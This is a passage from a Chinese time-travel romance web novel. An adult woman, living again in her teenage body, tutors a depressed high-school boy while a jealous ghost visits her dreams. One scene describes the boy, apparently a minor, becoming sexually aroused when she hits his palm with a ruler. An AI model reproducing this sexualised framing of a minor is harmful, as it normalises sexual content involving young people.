祝今安就看着他慢慢将额前的刘海拢起,修长的手指在发间穿梭,随着他的动作,一直被厚重刘海遮挡的额头逐渐显露出来。
她突然对刘海下的脸好奇起来。
他的鼻子和嘴巴挺精致的,眼睛只要不是太丑都不至于难看吧。
她想。
不过她也没太期待,毕竟如果是一张帅脸的话,是个人都会露出来吧,男生的帅可是和1米8的身高一样,藏不住的。
……
季言澈能感受到祝今安炽热的目光,他颤着手扎着头发,突然想到要是没有头发的遮挡,那他红着的脸藏不住怎么办……会不会暴露他肮脏的心思……
季言澈从来没考虑过要把自己的喜欢说出来,要类比的话,祝今安是太阳,是天使,是神明,而自己呢,就是一坨大便(没错,他都没打算用什么优雅的事物作比),要说出这种肮脏的爱简直是罪不可赦。
他想着,战战兢兢地扎完辫子。
常年被刘海遮盖的额头就这样暴露在空气中,让他有种被剥去盔甲般的不安,强光刺激着眼睛,下意识地,他用手臂挡住了自己的脸。
迫不及待“一睹芳容”的祝今安:“……?”
不是大哥,你挡住了我看什么?
11. 第一封信8
“你干嘛呢,我还没看到你的脸呢!”
祝今安不满地抓住他的手腕,想要扒开他的手臂“一睹芳容”。
“我……有点不适应……”
季言澈抗拒地拼死捂住自己的脸,心里想着至少遮到脸上的红晕下来吧。
“不适应个毛啊,你又不是吸血鬼,还见光死不成?”
祝今安很是不服地继续扒着他的手臂。
今天她还非得看到他的脸不可了!
季言澈一下子没反应过来为什么祝今安突然变得如此“豪放”,他深知自己此时脸上的表情是不适合被看到的,只能疯狂往后退,在心中呐喊“你不要过来啊”。
直到退到角落,退无可退。
在挣扎的过程中,眼镜不小心掉了,因为怕暴露自己的脸,他也没来得及捡,被祝今安捡起了,放在桌上。
“别躲了,你是逃不开的!”
祝今安此时活像个欺负“良家夫男”的女恶霸,摩拳擦掌地靠近。
而季言澈顶着一米八的大高个,却被她这样逼到狭小在角落里,捂着脸,瑟瑟发抖,看着分外滑稽。
祝今安看着觉得怪好玩的,这大男孩怎么被调戏都这么有意思?
她兴奋地想,再次扣住他的手腕:“我就看一下你的脸,又不会怎么样。”
“而且这里也没别人呀?不要怕。”
……
感觉到她掌心的温度,季言澈脸更红了。
算了,看就看吧……大不了就说自己是脸易红体质。
……好像自己就是来着。
他抿唇,最后放弃了抵抗,缓缓放下举着的手臂。
祝今安目光在他的脸上没有一瞬偏移。
此时两人的位置是在窗边,正好有一束阳光照到他。
他垂落的手臂带起一阵细微的气流,惊动了悬浮在光束中的尘埃。
于万千光尘飞舞之间,他的整张脸暴露在阳光下。
因为强光,他本能地半眯着眸子,浓密的睫毛在阳光下投下小片阴影,却也难掩那眸子在强光下呈现出的剔透的琥珀色。
好不容易,他睁开全眸,就这么直愣愣地望着她。
一瞬间,祝今安屏住了呼吸。
阳光下,他的皮肤白得近乎透明。
她也看清了他的眼睛,是比她的杏眼更细长的柳叶眼。
他垂着眸看她,被阳光染成金色的眼睫颤了颤。
见她呆住了,他微微俯身。
阳光退出他的眼睛,那双眸子瞬间化作深不见底的寒潭,空洞而无神,像是蒙上一层薄雾,疏离而又忧郁,下眼睑下泛着的青色,又给他添了几分颓废和阴郁。
是个非常帅,还帅得很有味道甚至是漂亮的帅哥。
这是祝今安给出的评价。
“怎、怎么了……”
季言澈紧张地滚动喉结。
“……好红啊。”
祝今安指着他的脸。
果然看得出来是吗……
他眼睫颤了颤,刚想说自己是脸易红体质,却听见她道:“你脸上的巴掌印。”
季言澈:“……”居然是巴掌印吗……
“你扇自己都这么用力的吗?留的印子这么久都没消失。”
季言澈摸上自己的脸,有些难为情:“我脸皮比较薄,所以……”
“噗——”祝今安笑出声,“那你脸怪嫩的。”
季言澈脸一红,听得出她在调侃他,张了张嘴却不知该如何回应,只得局促地移开视线。
她觉得好笑。
当了这么多年网友,祝今安居然从来没发现这家伙这么好玩。
玩心大起的她接着调戏道:“你的脸也还挺好看的呀,为什么要藏起来?”
“还挺符合我的审美的说。”
季言澈整个人僵住了,原本微红的脸颊此刻是彻底烧起来,连脖颈都泛起淡淡的粉色。
他的脸很好看吗?他从来都不知道这件事……
她喜欢他的脸吗……
没有头发的遮掩,他已经完全是无所遁形了,下意识的,他又遮住了脸:“我……”
祝今安觉得他更好玩了。
不过说出这句调戏的话她还是有些后悔的,她想起季言澈这个时候就已经喜欢她了。
她对和季言澈谈恋爱倒是没什么意见,毕竟这家伙也挺可爱的,脸也完全是她的菜,而且当网友那些年什么事都和他说,两人也确实灵魂同频着,相处着很舒服,真谈的话她也挺满意的。
但这不是她的时空,她没有资格替小小安做决定。
所以自己还是把握点度吧,不要撩拨他了。
她想着,轻咳了一声:“好了,现在绑好辫子了,我们接着写题吧。”
季言澈有些失落,但还是点头,平复了一下呼吸,继续听她讲题。
一天就这么在写题、讲题、做笔记中度过了。
回家也没结束,她晚上接着做笔记,又忙到了凌晨,为了能赴约见季言澈,才勉强去睡了。
这次的梦把她带到了高中课堂,而她正在语文课上偷偷写数学题。
笔尖在草稿纸上沙沙作响,她全神贯注地沉浸在解题的思绪中,这时突然手臂被戳了一下,祝今安连忙抬头,随后看到余方雅从讲台上走下来的身影。
她连忙把语文练习册盖在试卷上,假装在写语文作业的样子。
余方雅只转了一圈就回讲台了。
逃过一劫,祝今安长舒一口气,转头朝同桌笑:“谢谢你啊。”
却在看到他的那一刻愣住了。
是季言澈。
他剪头发了,短发剪得清爽利落,将好看的五官完整展露出来,穿着校服,浑身上下蓬勃着一股干净的少年气。
他腼腆地一笑,说不客气。
梦中的她还像对这一切习以为常,给他讲解题目,夸他画的画,偶尔闲聊几句,探讨他想的小说情节……
这个美好的梦结束后,她掉入一个纯白的空间中。
祝今安已经意识到自己是在做梦了,有些怅然地叹起气来。
刚才多好啊,要是现实是这样就好了。
“你很喜欢他吗,连梦里都在想他。”
一个清冽的声音从身后传来,祝今安回头望去。
是一个留着长卷发的男人,刘海也遮住了眼睛,只露出瘦削的下巴。
“……你是?”
祝今安觉得他眼熟,但一时之间没想起来是谁。
对方的身形明显一僵,他没说话,缓缓朝她走近。
等他走近了,祝今安注意到他
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长到腰的头发,心中感慨这卷毛真长啊。
卷毛……?
一个名字如闪电般从脑中亮过,祝今安恍然大悟:“哦,你是我梦里的npc,卷毛对吧!”
她总算想起来了。
卷毛心中憋着的委屈气才消了一点。
明明是她取的名字,却忘了。
他点头:“嗯,我不知道为什么也跟着你来这个时空了。”
“你居然也能来这?”这是祝今安没想到的,她惊讶道,“这几天你都在?”
“对,我一直看着你和那个男生拉近距离,”他的声音很轻飘飘,“那个叫季言澈的。”
祝今安听他语气觉得怪怪的,但也没多想,只挑眉道:“原来你看得到我的现实生活啊。”
这句话像一记惊雷,卷毛肉眼可见地慌张起来:“抱歉……我第一次见面时不知道怎么和你说这件事……怕说了你会生气赶我走……”
“没事,我又没怪你,只是有点意外,”见他不安的样子,祝今安安抚道,“正好我没人可以诉说这件事,你就当帮我分担一点吧。”
听她这么说,卷毛一下就精神了,身上甚至开始发起光,他很用力点头道:“好的、没问题,你只要说我一定会听的!”
见他这么配合,祝今安笑起来,她盘腿坐下,朝他招手,拍拍对面的位置:“那你坐下,我和你慢慢聊。”
卷毛乖巧坐下。
“你看到我现实生活多久了?”
“不清楚,我没有时间概念,就记得第一次见到你时你还在一家公司上班……”
“在我没离职前啊……”祝今安猜他应该是知道自己离职的原因了,但她不想再回忆那些事情,只道,“那你应该知道我穿越的原因吧?”
“嗯,我知道……”卷毛点头,“你想救季言澈。”
“他好像对你很重要,可是你最开始却又连他的性别都弄错了。”
“你也觉得很可笑吗?”祝今安自嘲道,“这段友谊从来都是我的单向输出,我却从来都没有关心过他……我都不知道他是抑郁症患者……”
“为什么你觉得这是你的错?你肯定也表达过想要了解他的想法,他拒绝了交流,没有给你了解他的机会,是他的错。”
卷毛不喜欢她把不属于她的罪责担在身上的样子:“而且你不该管他的,这是他选择这样的果,你被无辜牵涉,他的不幸也不是你造成的,为什么要由你来扭转他的因?”
对于她救季言澈这件事,卷毛很讨厌,他又说不出来哪里讨厌。
从看到她接到电话被唤去警局的那一刻开始,他就一直在掉眼泪,觉得胸口很难受,看到她因为那个活该的人费心劳神,还穿越了来救他,他更是又气又难受,恨不得给那个姓季的两巴掌——
乖乖听话不就好了吗,明明祝今安为了救他那么努力,给他带饭菜、带衣服、买药、给糖、为了他熬夜做笔记……对他这么好,还问这问那的,各种不信。
他就应该感恩戴德地跪谢好吗!
还留着那破刘海,非主流吗?扎个头发而已,也不知道在装什么。
……
反正卷毛对季言澈哪哪都看不顺眼,心里一堆挑刺话。
但他对祝今安来说很重要。
卷毛只能把这些话藏着。
12. 第一封信9
祝今安被他说得愣了愣:“……怎么感觉你好像很讨厌季言澈?”
这语气怎么这么怪呢?
“我确实不喜欢他……”卷毛道,“但和这个没关系,我主要是觉得你这样不值得!”
“我明白你的意思,谢谢你这样为我着想。”
“但值不值得是我说得算的,我觉得很值得。”
祝今安露出一抹笑,缓缓道:“怎么说呢,对于他,我其实是觉得很可惜,他那么年轻,那么有才华,却活得那么苦……应该也是同情吧,你就当我圣母心泛滥好了。”
“而且,他是我这么多年唯一我说真心话的人了,因为忙我也没有交朋友,家人的话又怕他们担心……”
“就这些?他有给你实质性帮助吗?”卷毛问道。
“有啊,我大学有段时间,疯狂找兼职,他就帮我找了一份,心理医生助理来着,那个医生姐姐人特好,没安排什么工作给我,很清闲,都够我再做一份兼职了。”
“我那段时间心态不好,还是那个姐姐给我治疗的,不然我可能也抑郁了。”
“所以现在我也算是回报他的恩情吧。”
“而且救人一命胜造七级浮屠嘛,我也就在这个时空待个七天,也没有损失啥的,还能体验一把不用高考的青春,这不血赚吗?”
明明来到这后每天都在操心、熬夜,哪里血赚了……
卷毛叹了口气,明白自己撼动不了她的想法,只能道:“好吧,我说服不了你。”
“你太善良了。”
“好了,不说这些了,”祝今安摆手,“说说你好了,你是不是有什么未了的心愿想要我帮忙啊,不然怎么一直在我梦里?”
“我也不清楚……”卷毛抬手捋了捋额前的刘海,“好像是有执念来着……就是觉得很抱歉很对不起一个人……”
“记得那个人是谁吗?”
“不记得了……”卷毛摇头,“但隐约有个很温暖的印象,而且很渺远……”
“你说的那个人……不会是我吧?”祝今安指着自己,开玩笑道,“毕竟你现在可一直围着我打转。”
卷毛的心一跳:“也许,真是这样?”
“噗——你还当真了?”她笑道,“我开玩笑来着,怎么可能,我都不认识你。”
“况且现实中根本就没有对不起我的人。”
“是吗……”见祝今安这样说,卷毛只是迟疑道,内心又隐隐有种这不是真相的感觉。
“管它呢,先别纠结这个了,我妈说,当一个东西想不起来或者找不到的时候,就别拼命找了,说不定某一个时刻它就会出现在你眼前。”
“我觉得以后你肯定会想起来的。”
祝今安笑道。
卷毛望着她的笑容,瞬间大脑中所有的怒气和纠结全部消失,只剩下一个想法——
她怎么能笑得如此可爱。
卷毛觉得自己的心收到了洗涤。
“嗯……我会努力的……”
他嗫嚅道。
“真乖。”
祝今安笑意盈盈,习惯性鼓励道。
卷毛脸红了红,没吭声。
“对了,你就只能一直待在我的梦中吗?我能不能在现实中见到你?”
“我有从你的梦里出来过,但你当时看不见我……我就一直躲在你的梦中了。”
就那一次,当时她被欺负了,他一着急,就从梦里蹦出来了,但没人能看见他。
“啊?我看不见你呀?我还想你可以飘在我身边给我解闷呢。”
祝今安遗憾道。
见她沮丧,卷毛连忙道:“没关系的,我每天晚上都会来找你,给你解闷……”
“噗——”祝今安笑出声,“卷毛,你也太可爱了吧!”
“居然主动说要给我解闷这种话,哈哈哈——”
卷毛被她笑得脸红起来,支吾半天说不上话,最后害羞地拉自己刘海。
祝今安看着他浑身上下再次泛起红光,心想:
他果然是很可爱!
如果有他一直在这个时空陪她,可以倾诉,相信一切都会变好的。
**
清晨,祝今安是被雨声吵醒的。
她打了个哈欠,脑子有些晕乎乎。
昨晚……好像做了个梦来着……
梦到什么了?
祝今安想了一会,没想起来,随后就放弃了。
管它呢,说不定等会看到眼熟的事物就想起来了。
她一看时间,才七点。
还早呢。
不过还是起床吧,早点去见季言澈。
祝今安想着,掀开被子,一股寒气袭来。
好冷……
下了雨的二月更冷了。
她望着窗外,想着等会还要骑自行车出门,身体不自觉打了个哆嗦。
算了算了,打伞去吧,太冷了,反正时间还早……
她一边哆嗦着,一边躲在尚存余温的被窝里,一件一件把衣服套上。
这么冷,真佩服小小安能这么风雨无阻去学校自习……
嗯,也佩服自己居然能克服寒冷去见季言澈。
“如果未来真救活了季言澈,一定要把这些事一件件找他算账不可……”
她不满地边穿衣服边嘟囔道。
**
季言澈像往常一样收拾好便利店,等到七点开张。
在没人的空隙,他又不自觉思维发散起来,神游天际。
今天是……第四天啊。
过了今天就剩三天能见她了。
雨还没有停。
天色灰蒙蒙的,寒意从玻璃门缝里渗进来。
这么冷,她应该不会来了吧?
……
季言澈心底泛酸。
舍不得……
不过要是很冷的话,那他还是希望她不要来了。
毕竟要是和他一样发烧了就不好了……
……
窗外的雨没有变小的意思。
他望着雨幕,恍然间想起那个悸动的傍晚。
当时的雨比现在大很多,整个天都被乌云压得恍如深夜。
记忆中的一切都是暗沉沉的。
唯独那把红伞。
在此之前,他回忆中所有的雨都是苦涩、压抑、灰暗的。
在那之后,他看到雨都会想到那抹红色,期待着眺望寻找那抹红。
就像此刻,他的目光不自觉地追随着街上零星的行人,每一点红色掠过,心就不自觉一跳。
哪怕他知道,祝今安是骑着自行车来的,她的雨衣也不是红色,是透明的。
他叹气,目光偏移,望向墙上的钟。
才八点啊,平常她都午时来。
自己也是太急切了。
他想着,从来没有一刻觉得时间如此煎熬。
余光却是蓦地闯入一抹红,他下意识望过去。
是一把红伞。
在这连绵的冻雨中,路过的行人都神色匆匆,但唯独这把红伞的伞面不急不缓地旋转着,看上去伞下的主人心情很好。
季言澈不自觉屏住呼吸。
这把伞,和祝今安一样。
是不是……
不会的,现在才八点多,她不会这么早来的……
可是,便利店门推开了,门铃响起。
那把红伞被收起,伞
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下的笑脸映入眼帘:“早上好啊!言澈!”
他心猛地跳起来,整个人感觉要膨胀得飘起来一般。
居然真的是她……
而且,她怎么直接叫了他的名字啊……
**
祝今安本来很冷的,穿了很多,没想到走了一路身体反而热起来了。
她打完招呼走进便利店,结果里面还开了暖气,更热了,想也不想脱下厚厚的棉袄:“好热啊,早知道骑自行车了。”
她脱完外套,看向季言澈,却见他呆在原地,痴痴地望着她:“你怎么了?傻了?”
季言澈脸一红,慌张摇头:“没……我就是惊讶,你怎么这么早就来了……”
“早上被雨吵醒了,想着没啥事就来找你了。”
祝今安一笑,提起手中的袋子:“喏,还带了我们的午餐呢!”
“……谢谢……”季言澈感动地看着她手中的袋子,“你已经给我带了三天饭了……”
“没事没事,你好好学习健健康康就行了,当我是在投资就好。”
“投……资?”
他身上有什么投资的价值吗?
“对啊!其实我一眼就看出来了,你身上有金光环绕,一看就是将来大有作为的人!”
祝今安笑嘻嘻道。
季言澈听出她在胡诌,忍不住笑了笑。
她还是这样,喜欢说些逗趣话。
不过他心情确实轻松了很多。
“你又笑了呢!”祝今安笑得更灿烂,“看来你也不是生性不爱笑嘛,只是没有碰上我这个开心果!”
她怎么自夸都那么可爱。
季言澈又忍不住笑了。
他感觉他的心被喜悦的心情填得满满当当的。
有她在的每一天,他好像真的都在笑。
她确实是开心果没错。
**
“今天的单词……怎么错了十个?这么多?”祝今安皱眉看着草稿纸上的红叉,“难道昨天我夸了夸你就飘了?”
季言澈心虚地低着头,不敢直视她的眼睛。
“对不起……”
“嗯……那该怎么惩罚你好呢?”
祝今安思索着。
“我……我带了尺子……”
季言澈从包中掏出一把锃亮的铁尺子,双手捧着它,郑重道:“请用这个惩罚我吧!”
祝今安:“……?”
这话,怎么听起来那么怪?说这么郑重干嘛?搞得好像在商量什么重要的事似的。
她望着这把尺子,越看越不对劲:“你……怎么还专门带了把尺子?”
“我……想要请教你几何,之前预习了一点点……”
季言澈早已想好措辞,吞吐道。
“真的?”祝今安还是有些狐疑。
“真的。”他看起来很认真道。
见他都这么肯定了,祝今安心中的怀疑立刻被他居然提前预习的欣喜取代:“没想到你还预习了!这学习自主性不错啊!夸夸你!”
“本来不想给你糖的,不过看在你的态度份上,还是奖励一颗吧!”
祝今安笑着递给他一颗糖:“今天的是草莓味的。”
季言澈没想到她居然因为这个他为了掩盖自己怪异心理胡诌的理由奖励他,一时之间,他感到又心虚又惭愧:“不、不用了……我错了那么多,不该给奖励的……”
“没事,都说了奖励给你的,”祝今安将糖果塞进他的手中,“以后也要好好学习呀。”
季言澈握住拳头,感受到硌在掌心的硬物,只觉得后悔。
自己居然欺骗了这么善良天真的祝今安……
太恶心了……
13. 第一封信10
“我……不能要这颗糖果……”
季言澈抿唇,将糖果放在桌面上。
“嗯?”祝今安不解地看向他。
“对不起……我骗了你……”他低着头,不敢看她的眼睛,“我……没有预习,只是……”
“我……我……”
季言澈低着头,语无伦次,手指无意识地绞着额前过长的刘海。
他想说出真相,可那话却是哽在喉间,怎么也说不出口。
怎么可能说出来呢……肯定会被当成变态的……
这样的话,肯定连最后三天都没办法见到她了……
祝今安看出他的不对劲,连忙道:“你不想说就算了,我又不是那种打破砂锅问到底的人。”
“……对不起……”
最终季言澈还是没说出口。
“好了好了,那就用尺子打两次手心作为惩罚,好吗?你也别纠结了。”
祝今安拿起那把冰冷的铁尺,预做出打人的动作。
季言澈却像是听到什么指令般,立刻顺从地摊开手掌,伸到她面前。
少年的手掌修长却过分苍白,青色的血管在薄薄的皮肤下清晰可见。
……其实这对他来说是奖励……
在愧疚与某种隐秘渴望的双重刺激下,季言澈只觉得全身的血液都在沸腾,身体内部升起一股不正常的燥热,耳根烫得惊人,甚至某处隐约有了苏醒的征兆。
“那我打了……”
甚至仅仅是听到那个“打”字,他的腿就已经发软了。
祝今安这次惩罚带着点火气,想着干脆使劲一点。
铁皮尺划破空气,“啪”地一下落在他摊平的掌心上。
清脆的响声在寂静的店内格外清晰。
一道鲜明的红痕瞬间在他没有血色的掌心浮现。
铁皮尺两侧还有点锋利,像是锋利的刀片轻轻划在掌心,带来不小的刺激。
灼热的刺痛感炸开,却奇异地混合了一种难以言喻的快意。
从未有过的快感令他头皮发麻,脊椎像过电般窜起一阵战栗。
他猛地咬住下唇,阻止几乎脱口而出的呜咽,却控制不住指尖的轻颤,腿也不自觉发软。
完蛋了,才打了一下,他、他就已经有点受不住了……
“还有一下。”
祝今安并未察觉他汹涌的内心,再次举起了尺子。
季言澈几乎是虔诚地再次摊开手。
第二下落下的力度似乎更重了些,疼痛感更加清晰,却也带来了更强烈的、让他无地自容的满足感。
季言澈死死咬住下唇,因为太过用力甚至尝到一股铁锈味。
他不自觉蜷紧手掌。
“是很疼吗?”
祝今安总觉得他怪怪的,他刘海那么长,又看不到他的脸。
她轻轻地捧住他的手,扳开他的手指。
那两道相交的红痕在苍白的掌心格外明显。
她有些愣住。
那纤细白皙的手,修长的手指,红色的印子,居然看着有些色气……
令人升腾出想要摧毁得更彻底的欲望。
驱使着她想要留下更多的印记。
祝今安被自己这突兀的念头吓了一跳,脸颊倏地烧了起来。
见鬼,这也太奇怪了……
“不……”
季言澈几乎是困难地挤出这个字。
祝今安觉得气氛透着诡异。
这、这不对吧……
不行,赶紧转移话题!
“好、好了,你赶紧订正单词吧,”祝今安强作镇定,一把将单词本摊开在他面前,“背完再把错的默写一遍。”
说完,她立刻转身佯装整理笔记,心脏却在胸腔里擂鼓。
好热……店中空调有这么热的吗?
她无意识的扇起风。
季言澈也不淡定。
她……是不是发现了什么……
他尚未从方才那阵羞耻与快感交织的漩涡中脱身,只觉得头脑昏沉,脸上烧得厉害。
他他他!都干了些什么!
季言澈此时只想找个洞钻进去。
居然真的做了这种事情,还起了反应……
他、他、他!是畜牲吗!好恶心……
季言澈有点想哭。
他低着头,情绪陷入低潮。
我居然做了这么恶心的事情……
在那么美好的祝今安面前……
好恶心……自己怎么能那么恶心……
他感觉自己的视线一片模糊。
我可是污秽之物……怎么能……怎么能对太阳有这种欲望。
强烈的自卑与自责在他的心中翻涌。
不、不可以。
必须停止才对……
不能被祝今安发现……
不能哭……
季言澈拼命遏制这胸口的难受。
他有些喘不过气来。
他低着头,庆幸自己还没扎头发,可以不让祝今安发觉他的异常。
他抬起手,假装眼睛发痒,用力揉搓着,趁机揩去眼角的湿意。
祝今安确实没有发觉。
她一旦投入工作就会聚精会神,没一会一会就忘了方才奇怪的氛围,脑子里被各种数学公式包围。
直到写得手腕发酸,她才停下来,想休息片刻。
而此时,季言澈早已整理好情绪,正安静地背诵着单词。
祝今安看着他专注的侧影,不自觉地露出一丝欣慰的笑容。
她忽然心血来潮:“想听歌吗?”
歌?
季言澈抬起头来,有些茫然:“什么歌?”
“嗯,一首很治愈的歌,放给你听听?”
祝今安说着,开始打开电脑找歌。
“找到了!”
她点击播放。
是一首没有前奏的歌,第一句歌词听着就很有生命力——
"Hello,hellobusycity
Youletyourlightshinebright
Hello,goodday
Goodmorningandgoodnight…"
季言澈一下就听入迷了。
他英语没那么好,但这首歌单词还算简单,他也勉强能听出个大致来。
是一首歌颂世间美好,很温暖的歌。
尤其是高潮部分——
"heyworld,Ihopeyou''relisteningwhenIsayhow.
ThemoreplacesthatIgo,
ThemoreIseemtoknow.
Ithinkyou''rebeautiful…"
带着一股憧憬和希望。
很适合祝今安唱的歌。
季言澈方才惴惴不安的心情此刻稍微得到了治愈。
他安静地听完这首歌,忍不住问:“歌名叫什么?”
“《GoodMorningandGoodNight.》”祝今安笑道,“怎么样,你喜欢这首歌吧?”
“嗯,我很喜欢。”季言澈唇角微微上扬。
很像是你喜欢的歌。
“喜欢就好。”
你当然会喜欢啦。
祝今安眼睛弯弯。
这可是你推荐给我的歌。
果然品味这么多年都是一样的。
“你好像很喜欢英文歌。”
季言澈忽然道。
“嗯?为什么这么说?”祝今安眨眨眼睛,“我才放了一首歌吧?”
“你军训结束那天,不是也唱了首英文歌吗?”季言澈道,“一首很温柔的歌。”
军训结束那天?
很多年前的事了,祝今安回想起来
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都有点恍惚。
“哪首歌啊?我都没印象了。”
季言澈脱口而出:“《FiveHundredMiles.》”
他最喜欢的这首歌。
听他这么说,祝今安立马想起来了:
“哦哦!这首歌啊!我记得我初中特别喜欢这首歌来着。”
“每天都听,就学会唱了。”
她欣喜道:“我记得当时的自己特别想出风头来着,还专门选择唱这首英文歌。”
“唱得一定很糟糕吧?里面有些连读对当时的我有点难度,都含糊带过了。”
祝今安笑道。
她记得自己有一段时间还懊悔自己为什么要出这个风头,没唱好,羞耻死了。
“没有,特别好听。”
因为你,它成了我最喜欢的歌。
“是吗?也亏得你记得这件事。”
祝今安笑着点开搜索栏:“那放一下这首歌吧。”
带着怀念的吉他声在空气中震荡开来。
"IfyoumissedthetrainI''mon,
YouwillknowthatIamgone,
Youcanhearthewhistleblowahundredmiles…"
小小的便利店被这温柔但略带忧伤的旋律包裹着。
季言澈的思绪一下子就回到了那个傍晚。
军训结束,高一的各个班级聚在操场上,举行着类似告别联谊的活动。
各个班围成圈,喧闹着,与教官们道别。
但季言澈非常讨厌这个活动。
本来累得不行,好不容易结束军训结果还要待在操场,虽然是傍晚太阳下山了,但天气也很热好吗,就为了这种形式主义又热又累地待几个小时,明明和教官什么的也没啥感情,同学间更是,根本没说过几句话,真是搞不懂……
其实到现在季言澈也是满腹埋怨对这种活动不理解。
但对于那个傍晚,季言澈却是有了几分庆幸。
庆幸有这样的活动。
来自隔壁班的歌声。
那个歌声响起的时候,整个操场都安静了。
音乐的旋律是有些忧伤的,带着淡淡的惆怅与惘然,以及无所适从。
季言澈一瞬间就被这首歌击中了。
他不懂音乐,不潮流,也没能力潮流,听到的音乐要不从大街上的音响,要不就是学校的广播,也不知道这首歌是否很有名。
他只是觉得这首歌,很温柔,像是在安慰他。
季言澈说不出来这是什么感觉,但他听着这个歌声,特别想哭。
尤其是她的声音,温柔的、细腻的、纯洁的……
在这个有些燥热的八月底像是一场带来了舒适与柔软的雪。
所有人都不由自主的朝着歌声方向望去。
季言澈也是。
但他没有看见她的脸。
只能看到一个背影。
能一眼目睹眼前绚烂的晚霞与被霞光映照的她的身影。
那个时候他并没有喜欢她,也没有好奇她的长相,能记住的也就是她面前的晚霞很好看,以及她的歌声很好听。
还是听身边的同学议论,才知道她的名字。
祝今安。
不过他没有过多关注,在众多议论声中,听到了自己想要的答案——
这首歌的名字。
不过这也是一个契机吧,后面更是时常听到她的名字。
毕竟她成绩好,长得好看,为人善良,哪里都是对她的夸奖。
他一个两耳不闻窗外事的人都在这一遍遍的赞美中记住了她的名字。
他当时不明白,怎么每个人都喜欢她,每个人都对她赞叹不已。
直到那场雨的到来。
那一刻,季言澈明白了。
她值得世间一切的鲜花与掌声。
14. 第一封信11
人听到某个时期总听的旋律,就会忍不住开始怀念那段时光。
祝今安也不例外。
她唇角微扬,忍不住和季言澈分享道:
“你知道我是怎么知道这首歌的吗?”
季言澈没说话,看着她,表示自己想听下去。
“是我爸车上的广播。”
祝今安双手托腮,笑意盈盈看着他:“你知道我爸爸是警察吗?”
季言澈点头。
祝今安的爸爸在县里是有名的警察,受过很多表彰。
“他呢,因为工作原因一直很忙,和他的相处时间真是少之又少。”
她的声音很怀念:“所以我很珍惜和他相处的时光。”
“我记得那天他因为调查案子到镇上,太晚了于是就回家了。”
“第二天又要急急忙忙回警局,我妈就叫他干脆送我去学校。”
“于是我坐上了这买来一年我都没坐过的车。”
祝今安记得那天阳光很好,是个可以在草地里懒洋洋打滚的天气。
“当时广播里播完了一首中文歌后,就是这首英文歌了。”
祝今安眼睛亮了亮:“你懂那种感觉吗,在早晨这个世界好像还没完全醒来的时候,整个人在有些颠簸的车中昏昏欲睡,身边是安心的爸爸,感受着窗外迎面的风……”
“然后响起这首歌。”
季言澈静静地听着,心弦仿佛也被那画面轻轻拨动。
“我本来因为爸爸又要走这件事有些难过的,然后听这首歌,感觉它在安慰我。”
“明明我当时初中英语成绩一塌糊涂,根本听不懂它唱得什么。”
“但我就是觉得它在安慰我。”
祝今安笑:“于是我就喜欢上了这首歌。”
不过当时还没有和这首歌共情,只是单纯的喜欢。
后来在外地读大学,她有段时间真的听到这首歌就想哭。
以至于后面她就不常听这首歌了,渐渐地都有些忘了它。
“当时在车上也没有手机,就把这首歌曲调背下来,回家用钢琴弹了一遍,手机才识别出来什么歌。”
“现在想想,好怀念啊……”
对于小小安来说,这不过是两年前的记忆。
但对于已经工作四年的她来说,这已经相当于是前世的梦境了。
季言澈看着她,心底一片柔软。
因为你,它也是我最喜欢的歌了。
**
晚上,梦境。
祝今安一睁眼,就看见那团熟悉的卷毛正缩在角落,周身散发着像动画片里发霉的暗光,活像一朵没人理的蘑菇。
“你……怎么了?”
她凑过去,蹲在他身旁。
他的卷毛看起来也没平日那么有精神了,耷拉在脑门上。
“没有,我……在思考人生。”
卷毛抱紧双腿,面壁着,显然不想回应她。
“噗——”祝今安笑了,“你都成一只鬼了,哪来的‘人生’?”
“……我在思考别人的人生。”
卷毛身上的光闪了闪,但很快又黯淡了下来。
看来他也喜欢我说这种逗趣话嘛。
祝今安偷笑,蹲得离他近了些,肩膀轻轻顶了顶他:“是吗?谁的人生呀?可以告诉我吗?”
“……不想说。”
卷毛闷闷不乐的,头埋得更低了。
祝今安觉得好笑。
他这样窝窝囊囊生闷气的样子好像她之前家里养的小狗多毛。
她“哦”了一声,轻轻戳了戳他:“那我猜猜你在生什么气?”
“……那还是算了……你要是猜出来我会更生气。”
“我说出来你可能也会生气……”
祝今安明了:“又是因为季言澈吗?”
被戳到了心事,卷毛把自己团得更小了,闷闷地“嗯”了一声。
“那你怎么又生他气了?”
“……你直接叫了他的名字……”
祝今安失笑:“就因为这个生气了?”
……其实不止。
卷毛虽然暂时没办法从祝今安梦境中出来,但他只是观望也看出来了——
也不知道自己生前是否也是这么肮脏的人,反正他看出来了——
季言澈起反应了,某种肮脏的生理变化。
偏偏祝今安毫无察觉。
怎么能对神明起这种恶心的欲望?
卷毛觉得无法忍受。
能不能把季言澈给阉了,留那种肮脏的器官做什么?
他厌恶地想。
祝今安自然不知道他这些翻江倒海的心理活动,只觉得他这醋吃得有些可爱又好笑:“我这不是因为不习惯叫他现在的名字吗?他现在还没改姓呢。”
“要是一不小心叫错了,就会引起他怀疑了。”
“是吗……”
卷毛心情好点了,身体放松下来,看向她。
她的眼睛此时带着笑意,明亮又清澈。
卷毛忽然觉得自己这样闹脾气十分不堪。
“……对不起,是我太任性了……居然生气还让你来劝……”
他低眉顺眼,像是在哀求:“……请你不要……慊弃我……”
祝今安有些愣住:“……你怎么突然这样了?我没有生气啊,怎么会慊弃你。”
“因为……因为我很作……很无理取闹……我也不知道为什么自己会这么生气……我不想把坏情绪带给你……不要讨厌我……”
“明明你那么好……我还这么作……”
……这鬼还是只敏感鬼啊。
太好玩了。
逗他一下吧。
祝今安佯装失落道:“哦……原来你不喜欢我哄你吗?”
卷毛闻言,心跳漏了一拍:“哄,哄我?”
“你是在哄我吗……”
“不然呢?”祝今安眨眨眼睛,“但可惜,你不喜欢我哄你啊……”
“不不不!”卷毛急急否认,“我喜欢……我喜欢的……”
“我怎么可能不喜欢……”
他一副很小心、很珍惜的样子,反倒让本想逗弄他的祝今安有些招架不住了。
……撩鬼反被鬼撩。
她轻咳一声,掩饰自己方才的慌乱:“好了,你要是喜欢的话就不要一副很对不起、愧疚的样子了。”
“我挺乐意哄你的,你作点没关系。”
卷毛听着这话,开始怀疑是不是根本不是在祝今安的梦里,而是自己在做梦了。
鬼也会做白日梦吗?
“毕竟你的反应还挺可爱的。”
可、可爱?是形容他吗?
卷毛感觉自己有些轻飘飘了。
“其实我也想亲密点叫你名字的,但你不是没名字吗?不然我叫你毛毛?”
这这这!也太害羞了!
“哎呀,你又发光了,”祝今安戳戳卷毛的手臂,带着调侃笑着,“害羞了?”
卷毛身上的光芒更盛了。
